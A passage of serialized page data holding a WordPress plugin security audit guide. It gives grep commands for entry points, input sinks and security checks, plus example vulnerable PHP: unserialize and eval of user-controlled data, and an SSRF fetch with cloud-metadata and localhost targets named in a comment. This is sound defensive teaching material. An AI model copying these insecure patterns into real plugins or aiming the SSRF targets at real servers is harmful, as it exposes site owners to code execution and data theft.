structure\n",[36,21564,21565,21567,21569,21572,21574,21576,21578,21580,21582],{"class":38,"line":261},[36,21566,490],{"class":49},[36,21568,493],{"class":95},[36,21570,21571],{"class":53}," \"^class \"",[36,21573,625],{"class":53},[36,21575,2442],{"class":605},[36,21577,631],{"class":53},[36,21579,502],{"class":95},[36,21581,540],{"class":53},[36,21583,2906],{"class":95},[684,21585,21587],{"id":21586},"step-2-map-all-entry-points","Step 2: Map All Entry Points",[26,21589,21591],{"className":28,"code":21590,"language":30,"meta":31,"style":31},"# All AJAX actions (authenticated and unauthenticated)\necho \"=== AJAX ACTIONS ===\"\ngrep -rn \"wp_ajax_\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# All REST routes\necho \"=== REST ROUTES ===\"\ngrep -rn \"register_rest_route\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# All shortcodes\necho \"=== SHORTCODES ===\"\ngrep -rn \"add_shortcode\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# All admin pages\necho \"=== ADMIN PAGES ===\"\ngrep -rn \"add_menu_page\\|add_submenu_page\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# All filter\u002Faction hooks that process user input\necho \"=== INPUT HOOKS ===\"\ngrep -rn \"add_action.*init\\|add_action.*wp_loaded\\|add_action.*parse_request\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# Template includes (potential LFI)\necho \"=== TEMPLATE INCLUDES ===\"\ngrep -rn \"include\\|require\\|include_once\\|require_once\" \"$PLUGIN_DIR\" \\\n  --include=\"*.php\" | grep \"\\$_\\|\\$plugin_dir\\|\\$path\\|\\$template\"\n",[33,21592,21593,21598,21605,21623,21627,21632,21639,21657,21661,21666,21673,21691,21695,21700,21707,21725,21729,21734,21741,21752,21764,21768,21773,21780,21797],{"__ignoreMap":31},[36,21594,21595],{"class":38,"line":39},[36,21596,21597],{"class":42},"# All AJAX actions (authenticated and unauthenticated)\n",[36,21599,21600,21602],{"class":38,"line":46},[36,21601,1226],{"class":95},[36,21603,21604],{"class":53}," \"=== AJAX ACTIONS ===\"\n",[36,21606,21607,21609,21611,21613,21615,21617,21619,21621],{"class":38,"line":57},[36,21608,490],{"class":49},[36,21610,493],{"class":95},[36,21612,2897],{"class":53},[36,21614,625],{"class":53},[36,21616,2442],{"class":605},[36,21618,631],{"class":53},[36,21620,502],{"class":95},[36,21622,505],{"class":53},[36,21624,21625],{"class":38,"line":64},[36,21626,61],{"emptyLinePlaceholder":60},[36,21628,21629],{"class":38,"line":70},[36,21630,21631],{"class":42},"# All REST routes\n",[36,21633,21634,21636],{"class":38,"line":78},[36,21635,1226],{"class":95},[36,21637,21638],{"class":53}," \"=== REST ROUTES ===\"\n",[36,21640,21641,21643,21645,21647,21649,21651,21653,21655],{"class":38,"line":83},[36,21642,490],{"class":49},[36,21644,493],{"class":95},[36,21646,533],{"class":53},[36,21648,625],{"class":53},[36,21650,2442],{"class":605},[36,21652,631],{"class":53},[36,21654,502],{"class":95},[36,21656,505],{"class":53},[36,21658,21659],{"class":38,"line":89},[36,21660,61],{"emptyLinePlaceholder":60},[36,21662,21663],{"class":38,"line":115},[36,21664,21665],{"class":42},"# All shortcodes\n",[36,21667,21668,21670],{"class":38,"line":133},[36,21669,1226],{"class":95},[36,21671,21672],{"class":53}," \"=== SHORTCODES ===\"\n",[36,21674,21675,21677,21679,21681,21683,21685,21687,21689],{"class":38,"line":138},[36,21676,490],{"class":49},[36,21678,493],{"class":95},[36,21680,7227],{"class":53},[36,21682,625],{"class":53},[36,21684,2442],{"class":605},[36,21686,631],{"class":53},[36,21688,502],{"class":95},[36,21690,505],{"class":53},[36,21692,21693],{"class":38,"line":144},[36,21694,61],{"emptyLinePlaceholder":60},[36,21696,21697],{"class":38,"line":158},[36,21698,21699],{"class":42},"# All admin pages\n",[36,21701,21702,21704],{"class":38,"line":255},[36,21703,1226],{"class":95},[36,21705,21706],{"class":53}," \"=== ADMIN PAGES ===\"\n",[36,21708,21709,21711,21713,21715,21717,21719,21721,21723],{"class":38,"line":261},[36,21710,490],{"class":49},[36,21712,493],{"class":95},[36,21714,21254],{"class":53},[36,21716,625],{"class":53},[36,21718,2442],{"class":605},[36,21720,631],{"class":53},[36,21722,502],{"class":95},[36,21724,505],{"class":53},[36,21726,21727],{"class":38,"line":267},[36,21728,61],{"emptyLinePlaceholder":60},[36,21730,21731],{"class":38,"line":273},[36,21732,21733],{"class":42},"# All filter\u002Faction hooks that process user input\n",[36,21735,21736,21738],{"class":38,"line":279},[36,21737,1226],{"class":95},[36,21739,21740],{"class":53}," \"=== INPUT HOOKS ===\"\n",[36,21742,21743,21745,21747,21750],{"class":38,"line":285},[36,21744,490],{"class":49},[36,21746,493],{"class":95},[36,21748,21749],{"class":53}," \"add_action.*init\\|add_action.*wp_loaded\\|add_action.*parse_request\"",[36,21751,155],{"class":95},[36,21753,21754,21756,21758,21760,21762],{"class":38,"line":291},[36,21755,3113],{"class":53},[36,21757,2442],{"class":605},[36,21759,631],{"class":53},[36,21761,502],{"class":95},[36,21763,505],{"class":53},[36,21765,21766],{"class":38,"line":297},[36,21767,61],{"emptyLinePlaceholder":60},[36,21769,21770],{"class":38,"line":303},[36,21771,21772],{"class":42},"# Template includes (potential LFI)\n",[36,21774,21775,21777],{"class":38,"line":308},[36,21776,1226],{"class":95},[36,21778,21779],{"class":53}," \"=== TEMPLATE INCLUDES ===\"\n",[36,21781,21782,21784,21786,21789,21791,21793,21795],{"class":38,"line":314},[36,21783,490],{"class":49},[36,21785,493],{"class":95},[36,21787,21788],{"class":53}," \"include\\|require\\|include_once\\|require_once\"",[36,21790,625],{"class":53},[36,21792,2442],{"class":605},[36,21794,631],{"class":53},[36,21796,155],{"class":95},[36,21798,21799,21801,21803,21805,21807,21809,21811,21814,21816,21819,21821,21824,21826],{"class":38,"line":320},[36,21800,586],{"class":95},[36,21802,540],{"class":53},[36,21804,103],{"class":102},[36,21806,617],{"class":49},[36,21808,625],{"class":53},[36,21810,4591],{"class":95},[36,21812,21813],{"class":53},"_\\|",[36,21815,4591],{"class":95},[36,21817,21818],{"class":53},"plugin_dir\\|",[36,21820,4591],{"class":95},[36,21822,21823],{"class":53},"path\\|",[36,21825,4591],{"class":95},[36,21827,21828],{"class":53},"template\"\n",[684,21830,21832],{"id":21831},"step-3-trace-user-input-from-sources-to-sinks","Step 3: Trace User Input from Sources to Sinks",[14,21834,21835],{},"Sources (user-controlled input):",[26,21837,21839],{"className":177,"code":21838,"language":179,"meta":31,"style":31},"$_GET, $_POST, $_REQUEST, $_COOKIE, $_SERVER, $_FILES\nget_query_var(), get_search_query()\nWP_REST_Request::get_param()\nget_option() \u002F\u002F if options are user-settable\nget_post_meta(), get_user_meta() \u002F\u002F if set by users\n",[33,21840,21841,21846,21851,21856,21861],{"__ignoreMap":31},[36,21842,21843],{"class":38,"line":39},[36,21844,21845],{},"$_GET, $_POST, $_REQUEST, $_COOKIE, $_SERVER, $_FILES\n",[36,21847,21848],{"class":38,"line":46},[36,21849,21850],{},"get_query_var(), get_search_query()\n",[36,21852,21853],{"class":38,"line":57},[36,21854,21855],{},"WP_REST_Request::get_param()\n",[36,21857,21858],{"class":38,"line":64},[36,21859,21860],{},"get_option() \u002F\u002F if options are user-settable\n",[36,21862,21863],{"class":38,"line":70},[36,21864,21865],{},"get_post_meta(), get_user_meta() \u002F\u002F if set by users\n",[14,21867,21868],{},"Sinks (dangerous functions):",[26,21870,21872],{"className":177,"code":21871,"language":179,"meta":31,"style":31},"\u002F\u002F Database\n$wpdb->query(), $wpdb->get_results(), $wpdb->get_row()\n\u002F\u002F File system\nfile_put_contents(), fwrite(), include(), require(), unlink()\n\u002F\u002F Output\necho, print, printf, header()\n\u002F\u002F Execution\nsystem(), exec(), shell_exec(), passthru(), eval()\n\u002F\u002F HTTP requests\nwp_remote_get(), wp_remote_post(), curl_exec() \u002F\u002F SSRF\n",[33,21873,21874,21879,21884,21889,21894,21899,21904,21909,21914,21919],{"__ignoreMap":31},[36,21875,21876],{"class":38,"line":39},[36,21877,21878],{},"\u002F\u002F Database\n",[36,21880,21881],{"class":38,"line":46},[36,21882,21883],{},"$wpdb->query(), $wpdb->get_results(), $wpdb->get_row()\n",[36,21885,21886],{"class":38,"line":57},[36,21887,21888],{},"\u002F\u002F File system\n",[36,21890,21891],{"class":38,"line":64},[36,21892,21893],{},"file_put_contents(), fwrite(), include(), require(), unlink()\n",[36,21895,21896],{"class":38,"line":70},[36,21897,21898],{},"\u002F\u002F Output\n",[36,21900,21901],{"class":38,"line":78},[36,21902,21903],{},"echo, print, printf, header()\n",[36,21905,21906],{"class":38,"line":83},[36,21907,21908],{},"\u002F\u002F Execution\n",[36,21910,21911],{"class":38,"line":89},[36,21912,21913],{},"system(), exec(), shell_exec(), passthru(), eval()\n",[36,21915,21916],{"class":38,"line":115},[36,21917,21918],{},"\u002F\u002F HTTP requests\n",[36,21920,21921],{"class":38,"line":133},[36,21922,21923],{},"wp_remote_get(), wp_remote_post(), curl_exec() \u002F\u002F SSRF\n",[26,21925,21927],{"className":28,"code":21926,"language":30,"meta":31,"style":31},"# Find all database sinks with user input (no prepare)\ngrep -rP '\\$wpdb->(query|get_results|get_row|get_var)\\s*\\([^;]*(GET|POST|REQUEST)' \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find file operation sinks\ngrep -rn \"file_put_contents\\|fwrite\\|file_get_contents\\|unlink\\|rename\\|copy\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n | grep -v \"\u002F\u002F\\|#\"\n\n# Find code execution sinks\ngrep -rn \"eval\\|system\\|exec\\|shell_exec\\|passthru\\|popen\\|proc_open\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find SSRF sinks\ngrep -rn \"wp_remote_get\\|wp_remote_post\\|wp_safe_remote\\|curl_exec\\|file_get_contents\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find output sinks without escaping\ngrep -rP \"echo\\s+\\\\\\$[^;]*;\" \"$PLUGIN_DIR\" --include=\"*.php\" -n | \\\n  grep -v \"esc_\\|absint\\|intval\\|'[^']*'\\|\\\"[^\\\"]*\\\"\"\n",[33,21928,21929,21934,21945,21959,21963,21968,21979,22001,22005,22010,22021,22035,22039,22044,22055,22069,22073,22078,22107],{"__ignoreMap":31},[36,21930,21931],{"class":38,"line":39},[36,21932,21933],{"class":42},"# Find all database sinks with user input (no prepare)\n",[36,21935,21936,21938,21940,21943],{"class":38,"line":46},[36,21937,490],{"class":49},[36,21939,574],{"class":95},[36,21941,21942],{"class":53}," '\\$wpdb->(query|get_results|get_row|get_var)\\s*\\([^;]*(GET|POST|REQUEST)'",[36,21944,155],{"class":95},[36,21946,21947,21949,21951,21953,21955,21957],{"class":38,"line":57},[36,21948,3113],{"class":53},[36,21950,2442],{"class":605},[36,21952,631],{"class":53},[36,21954,502],{"class":95},[36,21956,540],{"class":53},[36,21958,2906],{"class":95},[36,21960,21961],{"class":38,"line":64},[36,21962,61],{"emptyLinePlaceholder":60},[36,21964,21965],{"class":38,"line":70},[36,21966,21967],{"class":42},"# Find file operation sinks\n",[36,21969,21970,21972,21974,21977],{"class":38,"line":78},[36,21971,490],{"class":49},[36,21973,493],{"class":95},[36,21975,21976],{"class":53}," \"file_put_contents\\|fwrite\\|file_get_contents\\|unlink\\|rename\\|copy\"",[36,21978,155],{"class":95},[36,21980,21981,21983,21985,21987,21989,21991,21993,21995,21997,21999],{"class":38,"line":83},[36,21982,3113],{"class":53},[36,21984,2442],{"class":605},[36,21986,631],{"class":53},[36,21988,502],{"class":95},[36,21990,540],{"class":53},[36,21992,1229],{"class":95},[36,21994,103],{"class":102},[36,21996,617],{"class":49},[36,21998,555],{"class":95},[36,22000,15888],{"class":53},[36,22002,22003],{"class":38,"line":89},[36,22004,61],{"emptyLinePlaceholder":60},[36,22006,22007],{"class":38,"line":115},[36,22008,22009],{"class":42},"# Find code execution sinks\n",[36,22011,22012,22014,22016,22019],{"class":38,"line":133},[36,22013,490],{"class":49},[36,22015,493],{"class":95},[36,22017,22018],{"class":53}," \"eval\\|system\\|exec\\|shell_exec\\|passthru\\|popen\\|proc_open\"",[36,22020,155],{"class":95},[36,22022,22023,22025,22027,22029,22031,22033],{"class":38,"line":138},[36,22024,3113],{"class":53},[36,22026,2442],{"class":605},[36,22028,631],{"class":53},[36,22030,502],{"class":95},[36,22032,540],{"class":53},[36,22034,2906],{"class":95},[36,22036,22037],{"class":38,"line":144},[36,22038,61],{"emptyLinePlaceholder":60},[36,22040,22041],{"class":38,"line":158},[36,22042,22043],{"class":42},"# Find SSRF sinks\n",[36,22045,22046,22048,22050,22053],{"class":38,"line":255},[36,22047,490],{"class":49},[36,22049,493],{"class":95},[36,22051,22052],{"class":53}," \"wp_remote_get\\|wp_remote_post\\|wp_safe_remote\\|curl_exec\\|file_get_contents\"",[36,22054,155],{"class":95},[36,22056,22057,22059,22061,22063,22065,22067],{"class":38,"line":261},[36,22058,3113],{"class":53},[36,22060,2442],{"class":605},[36,22062,631],{"class":53},[36,22064,502],{"class":95},[36,22066,540],{"class":53},[36,22068,2906],{"class":95},[36,22070,22071],{"class":38,"line":267},[36,22072,61],{"emptyLinePlaceholder":60},[36,22074,22075],{"class":38,"line":273},[36,22076,22077],{"class":42},"# Find output sinks without escaping\n",[36,22079,22080,22082,22084,22086,22088,22091,22093,22095,22097,22099,22101,22103,22105],{"class":38,"line":279},[36,22081,490],{"class":49},[36,22083,574],{"class":95},[36,22085,19407],{"class":53},[36,22087,19410],{"class":95},[36,22089,22090],{"class":53},"[^;]*;\"",[36,22092,625],{"class":53},[36,22094,2442],{"class":605},[36,22096,631],{"class":53},[36,22098,502],{"class":95},[36,22100,540],{"class":53},[36,22102,1229],{"class":95},[36,22104,103],{"class":102},[36,22106,155],{"class":95},[36,22108,22109,22111,22113,22116,22118,22121,22123,22126,22128],{"class":38,"line":285},[36,22110,552],{"class":49},[36,22112,555],{"class":95},[36,22114,22115],{"class":53}," \"esc_\\|absint\\|intval\\|'[^']*'\\|",[36,22117,1498],{"class":95},[36,22119,22120],{"class":53},"[^",[36,22122,1498],{"class":95},[36,22124,22125],{"class":53},"]*",[36,22127,1498],{"class":95},[36,22129,668],{"class":53},[684,22131,22133],{"id":22132},"step-4-check-security-controls","Step 4: Check Security Controls",[26,22135,22137],{"className":28,"code":22136,"language":30,"meta":31,"style":31},"# Are nonce checks present?\necho \"Nonce checks:\"\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\\|check_admin_referer\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n | wc -l\n\n# Are capability checks present?\necho \"Capability checks:\"\ngrep -rn \"current_user_can\\|user_can(\" \"$PLUGIN_DIR\" --include=\"*.php\" -n | wc -l\n\n# ABSPATH check (prevents direct file access)\necho \"Direct access prevention:\"\ngrep -rn \"defined.*ABSPATH.*exit\\|WPINC.*die\\|ABSPATH.*wp-load\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n | wc -l\n\n# Files WITHOUT ABSPATH check (potentially accessible directly)\nfor f in $(find \"$PLUGIN_DIR\" -name \"*.php\"); do\n    if ! grep -q \"ABSPATH\\|WPINC\\|wp-load\" \"$f\" 2>\u002Fdev\u002Fnull; then\n        echo \"No ABSPATH check: $f\"\n    fi\ndone\n",[33,22138,22139,22144,22151,22162,22182,22186,22191,22198,22225,22229,22234,22241,22252,22272,22276,22281,22308,22339,22350,22354],{"__ignoreMap":31},[36,22140,22141],{"class":38,"line":39},[36,22142,22143],{"class":42},"# Are nonce checks present?\n",[36,22145,22146,22148],{"class":38,"line":46},[36,22147,1226],{"class":95},[36,22149,22150],{"class":53}," \"Nonce checks:\"\n",[36,22152,22153,22155,22157,22160],{"class":38,"line":57},[36,22154,490],{"class":49},[36,22156,493],{"class":95},[36,22158,22159],{"class":53}," \"check_ajax_referer\\|wp_verify_nonce\\|check_admin_referer\"",[36,22161,155],{"class":95},[36,22163,22164,22166,22168,22170,22172,22174,22176,22178,22180],{"class":38,"line":64},[36,22165,3113],{"class":53},[36,22167,2442],{"class":605},[36,22169,631],{"class":53},[36,22171,502],{"class":95},[36,22173,540],{"class":53},[36,22175,1229],{"class":95},[36,22177,103],{"class":102},[36,22179,21443],{"class":49},[36,22181,21446],{"class":95},[36,22183,22184],{"class":38,"line":70},[36,22185,61],{"emptyLinePlaceholder":60},[36,22187,22188],{"class":38,"line":78},[36,22189,22190],{"class":42},"# Are capability checks present?\n",[36,22192,22193,22195],{"class":38,"line":83},[36,22194,1226],{"class":95},[36,22196,22197],{"class":53}," \"Capability checks:\"\n",[36,22199,22200,22202,22204,22207,22209,22211,22213,22215,22217,22219,22221,22223],{"class":38,"line":89},[36,22201,490],{"class":49},[36,22203,493],{"class":95},[36,22205,22206],{"class":53}," \"current_user_can\\|user_can(\"",[36,22208,625],{"class":53},[36,22210,2442],{"class":605},[36,22212,631],{"class":53},[36,22214,502],{"class":95},[36,22216,540],{"class":53},[36,22218,1229],{"class":95},[36,22220,103],{"class":102},[36,22222,21443],{"class":49},[36,22224,21446],{"class":95},[36,22226,22227],{"class":38,"line":115},[36,22228,61],{"emptyLinePlaceholder":60},[36,22230,22231],{"class":38,"line":133},[36,22232,22233],{"class":42},"# ABSPATH check (prevents direct file access)\n",[36,22235,22236,22238],{"class":38,"line":138},[36,22237,1226],{"class":95},[36,22239,22240],{"class":53}," \"Direct access prevention:\"\n",[36,22242,22243,22245,22247,22250],{"class":38,"line":144},[36,22244,490],{"class":49},[36,22246,493],{"class":95},[36,22248,22249],{"class":53}," \"defined.*ABSPATH.*exit\\|WPINC.*die\\|ABSPATH.*wp-load\"",[36,22251,155],{"class":95},[36,22253,22254,22256,22258,22260,22262,22264,22266,22268,22270],{"class":38,"line":158},[36,22255,3113],{"class":53},[36,22257,2442],{"class":605},[36,22259,631],{"class":53},[36,22261,502],{"class":95},[36,22263,540],{"class":53},[36,22265,1229],{"class":95},[36,22267,103],{"class":102},[36,22269,21443],{"class":49},[36,22271,21446],{"class":95},[36,22273,22274],{"class":38,"line":255},[36,22275,61],{"emptyLinePlaceholder":60},[36,22277,22278],{"class":38,"line":261},[36,22279,22280],{"class":42},"# Files WITHOUT ABSPATH check (potentially accessible directly)\n",[36,22282,22283,22285,22288,22290,22292,22294,22296,22298,22300,22302,22304,22306],{"class":38,"line":267},[36,22284,1325],{"class":102},[36,22286,22287],{"class":605}," f ",[36,22289,1331],{"class":102},[36,22291,1334],{"class":605},[36,22293,21426],{"class":49},[36,22295,625],{"class":53},[36,22297,2442],{"class":605},[36,22299,631],{"class":53},[36,22301,21435],{"class":95},[36,22303,21438],{"class":53},[36,22305,1346],{"class":605},[36,22307,609],{"class":102},[36,22309,22310,22312,22315,22317,22319,22322,22324,22327,22329,22332,22335,22337],{"class":38,"line":273},[36,22311,614],{"class":102},[36,22313,22314],{"class":102}," !",[36,22316,617],{"class":49},[36,22318,620],{"class":95},[36,22320,22321],{"class":53}," \"ABSPATH\\|WPINC\\|wp-load\"",[36,22323,625],{"class":53},[36,22325,22326],{"class":605},"$f",[36,22328,631],{"class":53},[36,22330,22331],{"class":102}," 2>",[36,22333,22334],{"class":53},"\u002Fdev\u002Fnull",[36,22336,606],{"class":605},[36,22338,655],{"class":102},[36,22340,22341,22343,22346,22348],{"class":38,"line":279},[36,22342,660],{"class":95},[36,22344,22345],{"class":53}," \"No ABSPATH check: ",[36,22347,22326],{"class":605},[36,22349,668],{"class":53},[36,22351,22352],{"class":38,"line":285},[36,22353,673],{"class":102},[36,22355,22356],{"class":38,"line":291},[36,22357,678],{"class":102},[684,22359,22361],{"id":22360},"step-5-check-third-party-dependencies","Step 5: Check Third-Party Dependencies",[26,22363,22365],{"className":28,"code":22364,"language":30,"meta":31,"style":31},"# Find vendor\u002Fcomposer dependencies\nls \"$PLUGIN_DIR\u002Fvendor\u002F\" 2>\u002Fdev\u002Fnull\ncat \"$PLUGIN_DIR\u002Fcomposer.json\" 2>\u002Fdev\u002Fnull\n\n# Check for known vulnerable libraries\ngrep -r \"\\\"version\\\"\" \"$PLUGIN_DIR\u002Fvendor\u002F\" 2>\u002Fdev\u002Fnull | head -20\n\n# Find JavaScript dependencies\nls \"$PLUGIN_DIR\u002Fnode_modules\u002F\" 2>\u002Fdev\u002Fnull\ncat \"$PLUGIN_DIR\u002Fpackage.json\" 2>\u002Fdev\u002Fnull\n",[33,22366,22367,22372,22389,22404,22408,22413,22446,22450,22455,22470],{"__ignoreMap":31},[36,22368,22369],{"class":38,"line":39},[36,22370,22371],{"class":42},"# Find vendor\u002Fcomposer dependencies\n",[36,22373,22374,22377,22379,22381,22384,22386],{"class":38,"line":46},[36,22375,22376],{"class":49},"ls",[36,22378,625],{"class":53},[36,22380,2442],{"class":605},[36,22382,22383],{"class":53},"\u002Fvendor\u002F\"",[36,22385,22331],{"class":102},[36,22387,22388],{"class":53},"\u002Fdev\u002Fnull\n",[36,22390,22391,22393,22395,22397,22400,22402],{"class":38,"line":57},[36,22392,13332],{"class":49},[36,22394,625],{"class":53},[36,22396,2442],{"class":605},[36,22398,22399],{"class":53},"\u002Fcomposer.json\"",[36,22401,22331],{"class":102},[36,22403,22388],{"class":53},[36,22405,22406],{"class":38,"line":64},[36,22407,61],{"emptyLinePlaceholder":60},[36,22409,22410],{"class":38,"line":70},[36,22411,22412],{"class":42},"# Check for known vulnerable libraries\n",[36,22414,22415,22417,22419,22421,22423,22426,22428,22430,22432,22434,22436,22438,22440,22442,22444],{"class":38,"line":78},[36,22416,490],{"class":49},[36,22418,2894],{"class":95},[36,22420,625],{"class":53},[36,22422,1498],{"class":95},[36,22424,22425],{"class":53},"version",[36,22427,1498],{"class":95},[36,22429,631],{"class":53},[36,22431,625],{"class":53},[36,22433,2442],{"class":605},[36,22435,22383],{"class":53},[36,22437,22331],{"class":102},[36,22439,22334],{"class":53},[36,22441,103],{"class":102},[36,22443,5296],{"class":49},[36,22445,7237],{"class":95},[36,22447,22448],{"class":38,"line":83},[36,22449,61],{"emptyLinePlaceholder":60},[36,22451,22452],{"class":38,"line":89},[36,22453,22454],{"class":42},"# Find JavaScript dependencies\n",[36,22456,22457,22459,22461,22463,22466,22468],{"class":38,"line":115},[36,22458,22376],{"class":49},[36,22460,625],{"class":53},[36,22462,2442],{"class":605},[36,22464,22465],{"class":53},"\u002Fnode_modules\u002F\"",[36,22467,22331],{"class":102},[36,22469,22388],{"class":53},[36,22471,22472,22474,22476,22478,22481,22483],{"class":38,"line":133},[36,22473,13332],{"class":49},[36,22475,625],{"class":53},[36,22477,2442],{"class":605},[36,22479,22480],{"class":53},"\u002Fpackage.json\"",[36,22482,22331],{"class":102},[36,22484,22388],{"class":53},[18,22486,22488],{"id":22487},"common-security-patterns-to-look-for","Common Security Patterns to Look For",[684,22490,22492],{"id":22491},"pattern-unserialize-with-user-input","Pattern: Unserialize with User Input",[26,22494,22496],{"className":177,"code":22495,"language":179,"meta":31,"style":31},"\u002F\u002F CRITICAL: Object injection via unserialize\n$data = unserialize( base64_decode( $_GET['data'] ) );\n$data = unserialize( get_option( 'plugin_data' ) ); \u002F\u002F If option is user-controlled\n$data = unserialize( $wpdb->get_var( $query ) );    \u002F\u002F If data came from user\n",[33,22497,22498,22503,22508,22513],{"__ignoreMap":31},[36,22499,22500],{"class":38,"line":39},[36,22501,22502],{},"\u002F\u002F CRITICAL: Object injection via unserialize\n",[36,22504,22505],{"class":38,"line":46},[36,22506,22507],{},"$data = unserialize( base64_decode( $_GET['data'] ) );\n",[36,22509,22510],{"class":38,"line":57},[36,22511,22512],{},"$data = unserialize( get_option( 'plugin_data' ) ); \u002F\u002F If option is user-controlled\n",[36,22514,22515],{"class":38,"line":64},[36,22516,22517],{},"$data = unserialize( $wpdb->get_var( $query ) );    \u002F\u002F If data came from user\n",[26,22519,22521],{"className":28,"code":22520,"language":30,"meta":31,"style":31},"# Find unserialize calls\ngrep -rn \"unserialize\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find maybe_unserialize (can be safe but check context)\ngrep -rn \"maybe_unserialize\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n",[33,22522,22523,22528,22549,22553,22558],{"__ignoreMap":31},[36,22524,22525],{"class":38,"line":39},[36,22526,22527],{"class":42},"# Find unserialize calls\n",[36,22529,22530,22532,22534,22537,22539,22541,22543,22545,22547],{"class":38,"line":46},[36,22531,490],{"class":49},[36,22533,493],{"class":95},[36,22535,22536],{"class":53}," \"unserialize\"",[36,22538,625],{"class":53},[36,22540,2442],{"class":605},[36,22542,631],{"class":53},[36,22544,502],{"class":95},[36,22546,540],{"class":53},[36,22548,2906],{"class":95},[36,22550,22551],{"class":38,"line":57},[36,22552,61],{"emptyLinePlaceholder":60},[36,22554,22555],{"class":38,"line":64},[36,22556,22557],{"class":42},"# Find maybe_unserialize (can be safe but check context)\n",[36,22559,22560,22562,22564,22567,22569,22571,22573,22575,22577],{"class":38,"line":70},[36,22561,490],{"class":49},[36,22563,493],{"class":95},[36,22565,22566],{"class":53}," \"maybe_unserialize\"",[36,22568,625],{"class":53},[36,22570,2442],{"class":605},[36,22572,631],{"class":53},[36,22574,502],{"class":95},[36,22576,540],{"class":53},[36,22578,2906],{"class":95},[684,22580,22582],{"id":22581},"pattern-dynamic-hooks-eval","Pattern: Dynamic Hooks \u002F eval",[26,22584,22586],{"className":177,"code":22585,"language":179,"meta":31,"style":31},"\u002F\u002F DANGEROUS: Dynamic hook registration from user input\n$hook = $_POST['action_hook'];\nadd_action( $hook, 'some_function' );\n\n\u002F\u002F DANGEROUS: eval of user-controlled content\neval( base64_decode( get_option('plugin_license_data') ) );\n",[33,22587,22588,22593,22598,22603,22607,22612],{"__ignoreMap":31},[36,22589,22590],{"class":38,"line":39},[36,22591,22592],{},"\u002F\u002F DANGEROUS: Dynamic hook registration from user input\n",[36,22594,22595],{"class":38,"line":46},[36,22596,22597],{},"$hook = $_POST['action_hook'];\n",[36,22599,22600],{"class":38,"line":57},[36,22601,22602],{},"add_action( $hook, 'some_function' );\n",[36,22604,22605],{"class":38,"line":64},[36,22606,61],{"emptyLinePlaceholder":60},[36,22608,22609],{"class":38,"line":70},[36,22610,22611],{},"\u002F\u002F DANGEROUS: eval of user-controlled content\n",[36,22613,22614],{"class":38,"line":78},[36,22615,22616],{},"eval( base64_decode( get_option('plugin_license_data') ) );\n",[684,22618,22620],{"id":22619},"pattern-ssrf-via-http-requests","Pattern: SSRF via HTTP Requests",[26,22622,22624],{"className":177,"code":22623,"language":179,"meta":31,"style":31},"\u002F\u002F SSRF: Plugin fetches URL provided by user\n$url = sanitize_url( $_POST['feed_url'] );\n$response = wp_remote_get( $url );\n\u002F\u002F attacker can use: http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F (AWS metadata)\n\u002F\u002F or: http:\u002F\u002Flocalhost\u002Fwp-admin\u002F (internal services)\n",[33,22625,22626,22631,22636,22641,22646],{"__ignoreMap":31},[36,22627,22628],{"class":38,"line":39},[36,22629,22630],{},"\u002F\u002F SSRF: Plugin fetches URL provided by user\n",[36,22632,22633],{"class":38,"line":46},[36,22634,22635],{},"$url = sanitize_url( $_POST['feed_url'] );\n",[36,22637,22638],{"class":38,"line":57},[36,22639,22640],{},"$response = wp_remote_get( $url );\n",[36,22642,22643],{"class":38,"line":64},[36,22644,22645],{},"\u002F\u002F attacker can use: http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F (AWS metadata)\n",[36,22647,22648],{"class":38,"line":70},[36,22649,22650],{},"\u002F\u002F or: http:\u002F\u002Flocalhost\u002Fwp-admin\u002F (internal services)\n",[26,22652,22654],{"className":28,"code":22653,"language":30,"meta":31,"style":31},"# Find SSRF candidates\ngrep -rn \"wp_remote_get\\|wp_remote_post\\|wp_remote_request\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -B5 | grep \"\\$_\\|get_option\\|get_post_meta\"\n",[33,22655,22656,22661,22672],{"__ignoreMap":31},[36,22657,22658],{"class":38,"line":39},[36,22659,22660],{"class":42},"# Find SSRF candidates\n",[36,22662,22663,22665,22667,22670],{"class":38,"line":46},[36,22664,490],{"class":49},[36,22666,493],{"class":95},[36,22668,22669],{"class":53}," \"wp_remote_get\\|wp_remote_post\\|wp_remote_request\"",[36,22671,155],{"class":95},[36,22673,22674,22676,22678,22680,22682,22684,22686,22688,22690,22692,22694],{"class":38,"line":57},[36,22675,3113],{"class":53},[36,22677,2442],{"class":605},[36,22679,631],{"class":53},[36,22681,502],{"class":95},[36,22683,540],{"class":53},[36,22685,2530],{"class":95},[36,22687,103],{"class":102},[36,22689,617],{"class":49},[36,22691,625],{"class":53},[36,22693,4591],{"class":95},[36,22695,19640],{"class":53},[18,22697,22699],{"id":22698},"complete-audit-command-set","Complete Audit Command Set",[14,22701,22702],{},"Run this script against any plugin for a quick security overview:",[26,22704,22706],{"className":28,"code":22705,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\nPLUGIN_DIR=\"${1:-\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin}\"\n\necho \"======================================\"\necho \"Security Audit: $PLUGIN_DIR\"\necho \"======================================\"\n\necho \"\"\necho \"--- AJAX ENTRY POINTS ---\"\ngrep -rn \"wp_ajax_nopriv_\" \"$PLUGIN_DIR\" --include=\"*.php\" | grep \"add_action\"\n\necho \"\"\necho \"--- REST API ROUTES (check permission_callback) ---\"\ngrep -rn \"register_rest_route\" \"$PLUGIN_DIR\" --include=\"*.php\" -A3 | \\\n  grep -E \"register_rest_route|permission_callback|__return_true\"\n\necho \"\"\necho 